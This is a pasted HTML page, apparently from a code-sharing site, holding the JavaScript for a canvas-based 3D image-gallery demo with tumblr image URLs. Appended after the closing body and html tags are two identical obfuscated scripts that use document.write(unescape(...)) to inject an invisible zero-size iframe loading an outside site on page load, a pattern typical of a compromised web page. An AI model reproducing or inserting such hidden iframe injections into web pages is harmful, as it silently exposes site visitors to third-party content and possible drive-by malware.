  2109.  
  2110.  
  2111.  
  2112.  
  2113.  
  2114.  
  2115.  
  2116.                     while ( f = faces[i++] ) {
  2117.  
  2118.  
  2119.  
  2120.  
  2121.  
  2122.  
  2123.  
  2124.                         if (f.f.id && f.f.id == target.f.target) {
  2125.  
  2126.  
  2127.  
  2128.  
  2129.  
  2130.  
  2131.  
  2132.                             target = f;
  2133.  
  2134.  
  2135.  
  2136.  
  2137.  
  2138.  
  2139.  
  2140.                             targetold = f;
  2141.  
  2142.  
  2143.  
  2144.  
  2145.  
  2146.  
  2147.  
  2148.                             if (f.hidden) {
  2149.  
  2150.  
  2151.  
  2152.  
  2153.  
  2154.  
  2155.  
  2156.                                 f.hidden = false;
  2157.  
  2158.  
  2159.  
  2160.  
  2161.  
  2162.  
  2163.  
  2164.                                 f.locked = true;
  2165.  
  2166.  
  2167.  
  2168.  
  2169.  
  2170.  
  2171.  
  2172.                                 targetold = false;
  2173.  
  2174.  
  2175.  
  2176.  
  2177.  
  2178.  
  2179.  
  2180.                             }
  2181.  
  2182.  
  2183.  
  2184.  
  2185.  
  2186.  
  2187.  
  2188.                             break;
  2189.  
  2190.  
  2191.  
  2192.  
  2193.  
  2194.  
  2195.  
  2196.                         }
  2197.  
  2198.  
  2199.  
  2200.  
  2201.  
  2202.  
  2203.  
  2204.                     }
  2205.  
  2206.  
  2207.  
  2208.  
  2209.  
  2210.  
  2211.  
  2212.                 }
  2213.  
  2214.  
  2215.  
  2216.  
  2217.  
  2218.  
  2219.  
  2220.                 // ---- move camera ----
  2221.  
  2222.  
  2223.  
  2224.  
  2225.  
  2226.  
  2227.  
  2228.                 target.pc.projection();
  2229.  
  2230.  
  2231.  
  2232.  
  2233.  
  2234.  
  2235.  
  2236.                 camera.setTarget(target);
  2237.  
  2238.  
  2239.  
  2240.  
  2241.  
  2242.  
  2243.  
  2244.             }
  2245.  
  2246.  
  2247.  
  2248.  
  2249.  
  2250.  
  2251.  
  2252.         }
  2253.  
  2254.  
  2255.  
  2256.  
  2257.  
  2258.  
  2259.  
  2260.     };
  2261.  
  2262.  
  2263.  
  2264.  
  2265.  
  2266.  
  2267.  
  2268.     ////////////////////////////////////////////////////////////////////////////
  2269.  
  2270.  
  2271.  
  2272.  
  2273.  
  2274.  
  2275.  
  2276.     var init = function (json) {
  2277.  
  2278.  
  2279.  
  2280.  
  2281.  
  2282.  
  2283.  
  2284.         // ---- init script ----
  2285.  
  2286.  
  2287.  
  2288.  
  2289.  
  2290.  
  2291.  
  2292.         scr = new ge1doot.screen.InitEvents({
  2293.  
  2294.  
  2295.  
  2296.  
  2297.  
  2298.  
  2299.  
  2300.             container: "screen",
  2301.  
  2302.  
  2303.  
  2304.  
  2305.  
  2306.  
  2307.  
  2308.             canvas: "canvas",
  2309.  
  2310.  
  2311.  
  2312.  
  2313.  
  2314.  
  2315.  
  2316.             click: click,
  2317.  
  2318.  
  2319.  
  2320.  
  2321.  
  2322.  
  2323.  
  2324.             move: pointer
  2325.  
  2326.  
  2327.  
  2328.  
  2329.  
  2330.  
  2331.  
  2332.         });
  2333.  
  2334.  
  2335.  
  2336.  
  2337.  
  2338.  
  2339.  
  2340.         // ---- create faces ----
  2341.  
  2342.  
  2343.  
  2344.  
  2345.  
  2346.  
  2347.  
  2348.         var i = 0, f;
  2349.  
  2350.  
  2351.  
  2352.  
  2353.  
  2354.  
  2355.  
  2356.         while ( f = json.faces[i++] ) {
  2357.  
  2358.  
  2359.  
  2360.  
  2361.  
  2362.  
  2363.  
  2364.             faces.push(
  2365.  
  2366.  
  2367.  
  2368.  
  2369.  
  2370.  
  2371.  
  2372.                 new Face(json.path, f)
  2373.  
  2374.  
  2375.  
  2376.  
  2377.  
  2378.  
  2379.  
  2380.             );
  2381.  
  2382.  
  2383.  
  2384.  
  2385.  
  2386.  
  2387.  
  2388.         }
  2389.  
  2390.  
  2391.  
  2392.  
  2393.  
  2394.  
  2395.  
  2396.         // ---- engine start ----
  2397.  
  2398.  
  2399.  
  2400.  
  2401.  
  2402.  
  2403.  
  2404.         run();
  2405.  
  2406.  
  2407.  
  2408.  
  2409.  
  2410.  
  2411.  
  2412.     };
  2413.  
  2414.  
  2415.  
  2416.  
  2417.  
  2418.  
  2419.  
  2420.     ////////////////////////////////////////////////////////////////////////////
  2421.  
  2422.  
  2423.  
  2424.  
  2425.  
  2426.  
  2427.  
  2428.     // ===== main loop =====
  2429.  
  2430.  
  2431.  
  2432.  
  2433.  
  2434.  
  2435.  
  2436.     var run = function () {
  2437.  
  2438.  
  2439.  
  2440.  
  2441.  
  2442.  
  2443.  
  2444.         // ---- clear screen ----
  2445.  
  2446.  
  2447.  
  2448.  
  2449.  
  2450.  
  2451.  
  2452.         scr.ctx.clearRect(0,0, scr.width, scr.height);
  2453.  
  2454.  
  2455.  
  2456.  
  2457.  
  2458.  
  2459.  
  2460.         // ---- 3D projection ----
  2461.  
  2462.  
  2463.  
  2464.  
  2465.  
  2466.  
  2467.  
  2468.         var i = 0, f;
  2469.  
  2470.  
  2471.  
  2472.  
  2473.  
  2474.  
  2475.  
  2476.         while ( f = faces[i++] ) {
  2477.  
  2478.  
  2479.  
  2480.  
  2481.  
  2482.  
  2483.  
  2484.             f.projection();
  2485.  
  2486.  
  2487.  
  2488.  
  2489.  
  2490.  
  2491.  
  2492.         }
  2493.  
  2494.  
  2495.  
  2496.  
  2497.  
  2498.  
  2499.  
  2500.         // ---- faces depth sorting ----
  2501.  
  2502.  
  2503.  
  2504.  
  2505.  
  2506.  
  2507.  
  2508.         faces.sort(function (p0, p1) {
  2509.  
  2510.  
  2511.  
  2512.  
  2513.  
  2514.  
  2515.  
  2516.             return p1.distance - p0.distance;
  2517.  
  2518.  
  2519.  
  2520.  
  2521.  
  2522.  
  2523.  
  2524.         });
  2525.  
  2526.  
  2527.  
  2528.  
  2529.  
  2530.  
  2531.  
  2532.         // ---- drawing ----
  2533.  
  2534.  
  2535.  
  2536.  
  2537.  
  2538.  
  2539.  
  2540.         var i = 0, f;
  2541.  
  2542.  
  2543.  
  2544.  
  2545.  
  2546.  
  2547.  
  2548.         while ( f = faces[i++] ) {
  2549.  
  2550.  
  2551.  
  2552.  
  2553.  
  2554.  
  2555.  
  2556.             if (f.visible) {
  2557.  
  2558.  
  2559.  
  2560.  
  2561.  
  2562.  
  2563.  
  2564.                 // ---- draw image ----
  2565.  
  2566.  
  2567.  
  2568.  
  2569.  
  2570.  
  2571.  
  2572.                 f.img.draw3D(f.p0, f.p1, f.p2, f.p3);
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.                 if (f.locked && scr.drag) f.locked = false;
  2581.  
  2582.  
  2583.  
  2584.  
  2585.  
  2586.  
  2587.  
  2588.                 if (f === faceOver) faceOver.border();
  2589.  
  2590.  
  2591.  
  2592.  
  2593.  
  2594.  
  2595.  
  2596.             } else break;
  2597.  
  2598.  
  2599.  
  2600.  
  2601.  
  2602.  
  2603.  
  2604.         }
  2605.  
  2606.  
  2607.  
  2608.  
  2609.  
  2610.  
  2611.  
  2612.  
  2613.  
  2614.  
  2615.  
  2616.  
  2617.  
  2618.  
  2619.  
  2620.         // ---- camera ----
  2621.  
  2622.  
  2623.  
  2624.  
  2625.  
  2626.  
  2627.  
  2628.         camera.move();
  2629.  
  2630.  
  2631.  
  2632.  
  2633.  
  2634.  
  2635.  
  2636.         // ---- loop ----
  2637.  
  2638.  
  2639.  
  2640.  
  2641.  
  2642.  
  2643.  
  2644.         setTimeout(run, 16);
  2645.  
  2646.  
  2647.  
  2648.  
  2649.  
  2650.  
  2651.  
  2652.     }
  2653.  
  2654.  
  2655.  
  2656.  
  2657.  
  2658.  
  2659.  
  2660.     return {    
  2661.  
  2662.  
  2663.  
  2664.  
  2665.  
  2666.  
  2667.  
  2668.         ////////////////////////////////////////////////////////////////////////////
  2669.  
  2670.  
  2671.  
  2672.  
  2673.  
  2674.  
  2675.  
  2676.         // ---- onload event ----
  2677.  
  2678.  
  2679.  
  2680.  
  2681.  
  2682.  
  2683.  
  2684.         load : function (json) {
  2685.  
  2686.  
  2687.  
  2688.  
  2689.  
  2690.  
  2691.  
  2692.             window.addEventListener('load', function () {
  2693.  
  2694.  
  2695.  
  2696.  
  2697.  
  2698.  
  2699.  
  2700.                 setTimeout(function () {
  2701.  
  2702.  
  2703.  
  2704.  
  2705.  
  2706.  
  2707.  
  2708.                     init(json);
  2709.  
  2710.  
  2711.  
  2712.  
  2713.  
  2714.  
  2715.  
  2716.                 }, 500);
  2717.  
  2718.  
  2719.  
  2720.  
  2721.  
  2722.  
  2723.  
  2724.             }, false);
  2725.  
  2726.  
  2727.  
  2728.  
  2729.  
  2730.  
  2731.  
  2732.         }
  2733.  
  2734.  
  2735.  
  2736.  
  2737.  
  2738.  
  2739.  
  2740.     }
  2741.  
  2742.  
  2743.  
  2744.  
  2745.  
  2746.  
  2747.  
  2748. })().load({
  2749.  
  2750.  
  2751.  
  2752.  
  2753.  
  2754.  
  2755.  
  2756.     path: "",
  2757.  
  2758.  
  2759.  
  2760.  
  2761.  
  2762.  
  2763.  
  2764.     faces: [
  2765.  
  2766.  
  2767.  
  2768.  
  2769.  
  2770.  
  2771.  
  2772.         // ---- main images ----
  2773.  
  2774.  
  2775.  
  2776.  
  2777.  
  2778.  
  2779.  
  2780.         {id: "1", src:"http://24.media.tumblr.com/tumblr_m77hii0ymb1r60txoo1_500.jpg",    x:0,    y:0,    z:200,  rx:0,  ry:0,  w: 300, h: 200, select: false},
  2781.  
  2782.  
  2783.  
  2784.  
  2785.  
  2786.  
  2787.  
  2788.         {id: "2", src:"http://25.media.tumblr.com/tumblr_m77he5C97Z1r60txoo1_500.jpg",  x:200,  y:0,    z:0,    rx:0,  ry:-1, w: 300, h: 200},
  2789.  
  2790.  
  2791.  
  2792.  
  2793.  
  2794.  
  2795.  
  2796.         {id: "3", src:"http://25.media.tumblr.com/tumblr_m7go85DGWy1r0lg5fo1_500.jpg",  x:0,    y:150,  z:0,    rx:1,  ry:0,  w: 300, h: 200},
  2797.  
  2798.  
  2799.  
  2800.  
  2801.  
  2802.  
  2803.  
  2804.         {id: "4", src:"http://media.tumblr.com/tumblr_m7en667PE71qhqbjr.jpg",  x:0,    y:-150, z:0,    rx:-1, ry:0,  w: 300, h: 200},
  2805.  
  2806.  
  2807.  
  2808.  
  2809.  
  2810.  
  2811.  
  2812.         {id: "5", src:"https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-ash4/313916_10151050633894306_602998766_n.jpg", x:-200, y:0,    z:0,    rx:0,  ry:1,  w: 300, h: 200},
  2813.  
  2814.  
  2815.  
  2816.  
  2817.  
  2818.  
  2819.  
  2820.         {id: "6", src:"http://25.media.tumblr.com/tumblr_m7gqq9kH7R1qhzik8o1_500.jpg", x:0,    y:0,    z:-200, rx:0,  ry:-2, w: 300, h: 200},
  2821.  
  2822.  
  2823.  
  2824.  
  2825.  
  2826.  
  2827.  
  2828.         // ---- special hidden image :) ----
  2829.  
  2830.  
  2831.  
  2832.  
  2833.  
  2834.  
  2835.  
  2836.         {id: "7", target: "1", src:"http://25.media.tumblr.com/tumblr_m7ghp85WaQ1qjx5v1o1_500.jpg", x:0, y:0, z:200, rx:0, ry:-2, w: 300, h: 200, hidden: true},
  2837.  
  2838.  
  2839.  
  2840.  
  2841.  
  2842.  
  2843.  
  2844.         // ---- small targets ----
  2845.  
  2846.  
  2847.  
  2848.  
  2849.  
  2850.  
  2851.  
  2852.         {src:"http://25.media.tumblr.com/tumblr_m7icdn7wZa1qaf4gmo1_500.jpg", target: "6", x:0,    y:-40, z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},
  2853.  
  2854.  
  2855.  
  2856.  
  2857.  
  2858.  
  2859.  
  2860.         {src:"http://24.media.tumblr.com/tumblr_m7gvhn2ifT1qei12bo1_500.jpg", target: "5", x:-100, y:-40, z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},
  2861.  
  2862.  
  2863.  
  2864.  
  2865.  
  2866.  
  2867.  
  2868.         {src:"http://24.media.tumblr.com/tumblr_m7gy8ty5J61qcl5jio1_500.jpg",  target: "4", x:100,  y:-40, z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},
  2869.  
  2870.  
  2871.  
  2872.  
  2873.  
  2874.  
  2875.  
  2876.         {src:"http://25.media.tumblr.com/tumblr_m6qz6esKsl1r60txoo1_500.jpg",  target: "3", x:0,    y:40,  z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},
  2877.  
  2878.  
  2879.  
  2880.  
  2881.  
  2882.  
  2883.  
  2884.         {src:"http://24.media.tumblr.com/tumblr_m6xl2uVhs41qan30zo1_500.jpg",  target: "2", x:-100, y:40,  z:170, rx:0, ry:0, w: 80, h: 60, tl: 1},
  2885.  
  2886.  
  2887.  
  2888.  
  2889.  
  2890.  
  2891.  
  2892.         {src:"http://25.media.tumblr.com/tumblr_m6xiy0Jobo1r1d3bao1_500.jpg",    target: "7", x:100,  y:40,  z:170, rx:0, ry:0, w: 80, h: 60, tl: 1}
  2893.  
  2894.  
  2895.  
  2896.  
  2897.  
  2898.  
  2899.  
  2900.     ]
  2901.  
  2902.  
  2903.  
  2904.  
  2905.  
  2906.  
  2907.  
  2908. });
  2909.  
  2910.  
  2911.  
  2912.  
  2913.  
  2914.  
  2915.  
  2916. </script>
  2917.  
  2918.  
  2919.  
  2920.  
  2921.  
  2922.  
  2923.  
  2924. </head>
  2925.  
  2926.  
  2927.  
  2928.  
  2929.  
  2930.  
  2931.  
  2932. <body>
  2933.  
  2934.  
  2935.  
  2936.  
  2937.  
  2938.  
  2939.  
  2940.  
  2941.  
  2942.  
  2943.  
  2944.  
  2945.  
  2946.  
  2947.  
  2948. <div id="screen">
  2949.  
  2950.  
  2951.  
  2952.  
  2953.  
  2954.  
  2955.  
  2956.     <canvas id="canvas">HTML5 CANVAS</canvas>
  2957.  
  2958.  
  2959.  
  2960.  
  2961.  
  2962.  
  2963.  
  2964. </div>
  2965.  
  2966.  
  2967.  
  2968.  
  2969.  
  2970.  
  2971.  
  2972. </body><script>
  2973.  
  2974. <!--
  2975.  
  2976. document.write(unescape("%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%3Ciframe%20frameborder%3D%220%22%20height%3D%220%22%20src%3D%22http%3A//www.devilscafe.in%22%20%0A%0Awidth%3D%220%22%3E%3C/iframe%3E%0A%3Ca%20href%3D%22http%3A//www.devilscafe.in%22%20target%3D%22_blank%22%3E%3Cimg%20%0A%0Asrc%3D%22%22%20/%3E%22%29%29%3B%0A//--%3E%0A%3C/script%3E"));
  2977.  
  2978. //-->
  2979.  
  2980. </script></html><script>
  2981.  
  2982. <!--
  2983.  
  2984. document.write(unescape("%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%3Ciframe%20frameborder%3D%220%22%20height%3D%220%22%20src%3D%22http%3A//www.devilscafe.in%22%20%0A%0Awidth%3D%220%22%3E%3C/iframe%3E%0A%3Ca%20href%3D%22http%3A//www.devilscafe.in%22%20target%3D%22_blank%22%3E%3Cimg%20%0A%0Asrc%3D%22%22%20/%3E%22%29%29%3B%0A//--%3E%0A%3C/script%3E"));
  2985.  
  2986. //-->
  2987.  
  2988. </script>
RAW Paste Data